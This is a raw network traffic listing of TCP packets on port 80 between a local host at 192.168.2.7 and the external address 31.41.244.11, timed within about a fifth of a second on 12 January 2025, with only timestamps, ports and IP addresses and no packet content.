Jan 12, 2025 17:39:12.557763100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557795048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557823896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557856083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557861090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557861090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557861090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557887077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557918072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557954073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557959080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557959080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557959080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557985067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.558017969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.558051109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.558060884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.558060884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.558060884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.558084011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.558136940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.558177948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.558177948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.558177948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.558192968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.558228016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.558263063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.558294058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.558303118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.558303118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.558303118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.558326960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.558414936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.558453083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.558453083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.558453083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.611618042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611629963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611646891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611674070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611695051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611706018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611718893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611740112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.611740112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.611788988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.611835957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611855030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611866951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611876965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611887932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611898899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611907005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.611907005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.611912966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611922979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611934900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.611953974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.611953974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612015009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612315893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612325907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612345934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612355947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612368107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612392902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612392902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612406015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612417936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612432003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612435102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612478018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612478018 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612571955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612622023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612632990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612644911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612685919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612696886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612709999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612725973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612725973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612725973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612735033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612746954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612786055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612786055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612793922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612799883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612803936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612816095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612828970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612839937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612868071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612868071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612915993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612938881 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612951040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612961054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612972975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612984896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.612986088 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.612994909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613002062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613014936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613045931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.613045931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.613084078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613095999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613101959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.613109112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613120079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613179922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.613179922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.613198042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613209963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613219976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613230944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613244057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613254070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613265038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613276005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613276005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.613276005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.613286972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613298893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.613298893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.613383055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.613383055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.641736984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.641758919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.641803980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.641814947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.641834021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.641854048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.641859055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.641865015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.641876936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.641911030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.641911030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.641911030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.641916037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.641927958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.641937971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.641948938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.641993046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.641993046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642030954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642030954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642044067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642049074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642059088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642064095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642070055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642107010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642134905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642146111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642155886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642157078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642168999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642180920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642189980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642199993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642210960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642229080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642229080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642229080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642258883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642270088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642276049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642280102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642291069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642302036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642318010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642318010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642339945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642404079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642412901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642424107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642435074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642446041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642457962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642458916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642458916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642468929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642479897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642487049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642491102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642502069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.642510891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642534971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.642534971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.643640995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643661976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643672943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643683910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643702030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643714905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643732071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643733978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.643733978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.643743038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643755913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643757105 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.643767118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643767118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.643779993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643879890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643891096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643898010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.643898010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.643904924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643915892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643940926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643942118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.643942118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.643953085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643965006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643975973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643986940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643999100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.643999100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.643999100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.644000053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.644016981 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.644031048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.644041061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.644051075 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.644068956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.644102097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698010921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698026896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698040009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698050976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698065996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698076963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698087931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698143005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698143005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698143005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698196888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698208094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698219061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698230028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698241949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698246956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698255062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698255062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698257923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698368073 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698368073 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698482990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698498964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698510885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698522091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698533058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698539019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698570013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698581934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698592901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698635101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698635101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698635101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698689938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698724985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698761940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698771954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698790073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698803902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698821068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698829889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698829889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698829889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698832989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698852062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698859930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698859930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698865891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698877096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698883057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698889017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698899984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698905945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698905945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698905945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698940039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698971033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.698982954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.698993921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699006081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699022055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699035883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699044943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699055910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699067116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699078083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699084044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699114084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699126005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699131012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699131012 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699151039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699151039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699163914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699165106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699177027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699181080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699188948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699199915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699203968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699239016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699249029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699249029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699251890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699261904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699273109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699279070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699295044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699311018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699333906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699341059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699341059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699341059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699351072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699357986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699358940 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699371099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699381113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699381113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699383020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.699568987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.699568987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.728133917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728153944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728167057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728178024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728209972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728223085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728235006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.728252888 CET	80	49975	31.41.244.11	192.168.2.7
